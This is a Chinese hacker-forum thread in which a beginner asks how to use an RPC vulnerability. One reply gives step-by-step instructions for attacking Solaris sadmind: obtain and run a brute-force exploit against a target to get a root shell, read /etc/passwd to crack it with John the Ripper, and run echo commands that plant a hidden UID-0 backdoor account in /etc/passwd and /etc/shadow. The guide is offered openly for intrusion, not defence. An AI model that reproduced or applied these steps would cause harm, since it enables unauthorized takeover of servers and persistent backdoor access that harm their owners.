|
 | 作者: lili [lili]
 论坛用户 |
登录 |
| 谁能告诉我关于RPC漏洞的一些问题， 比如用法 |
| 地主 发表时间: 02/23 14:49 |
 | 回复: playopy [playopy]  论坛用户 |
登录 |
|
漏洞 rpc.sadmind 的利用 漏洞的使用方法. 首先,我将要提到使用 sadmind 暴力破解器(brute forcer),是利用文件sadmindex-sparc.c 和 sadmindex-x86.c.我们可以在http://packetstorm.securify.com 找到暴力破解器.搜索 sadmind brute forcer,samdind-brute-lux.c 将是你第一个看到的... 你先在相同的目录下编译暴力破解器,用来利用这个漏洞. 运行暴力破解器(brute forcer): ./sadmind-brute-force 我们必须找到一个有漏洞的服务器(你可以用RPC-scanners LOL 扫描RPC漏洞)来测试. 假设我们的目标是www.sadmindvulnhost.com: ./sadmind-brute-force 1 www.sadmindvulnhost.com 如果你得到一个 rootshell,那么服务器是有漏洞的,你成功了.否则就是被修补过的. 如果,现在你获得 rootshell 后有2种方法控制主机.(梦:其实是N总方法,第一种可以用;第二种 很少用,容易被发现.都不是最常用的方法) 第一种: 这是最简单的,查看 /etc/passwd (或者 /etc/shadow )文件,然后用John The Ripper破解它 的密码 --> 这可能要几年的时间 ! 我们看 /etc/passwd 文件应该是这样的: cat /etc/passwd; " ; "必须加上去!如果你用 cat /etc/passwd,服务器将认为命令是cat /etc/passwd^m 第二种: 这种就很快了.我们加入2个root级别的帐号就可以了.... 假设主机密码 文件是: /etc/shadow ! 在rootshell中输入 : echo cyrax:x:UID:GID:cyrax:/:/bin/sh >> /etc/passwd; echo cyrax2:x:0:0:cyrax:/:/bin/sh >> /etc/passwd; echo cyrax:::::: >> /etc/shadow; echo cyrax2:::::: >> /etc/shadow; 不要用 > 用成 >>, >> 是加入, > 则是覆盖 !否则,后果惨重!!!! 把例子中的 UID 和 GID 改成 666,不能是0. 你输入后就有2个帐号了: cyrax 和 cyrax2 你用cyrax帐号登陆,然后 su 成 cyrax2 这个 root 帐号,再设置密码... 现在你有这台电脑的ro0t权限喽! |
| B1层 发表时间: 02/24 13:13 |
 | 回复: tendo [tendo] 论坛用户 |
登录 |
|
上网找！找！找！ |
| B2层 发表时间: 02/24 14:31 |
|
20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写：NetDemon
粤ICP备05087286号
论坛: 菜鸟乐园 标题: 谁能告诉我？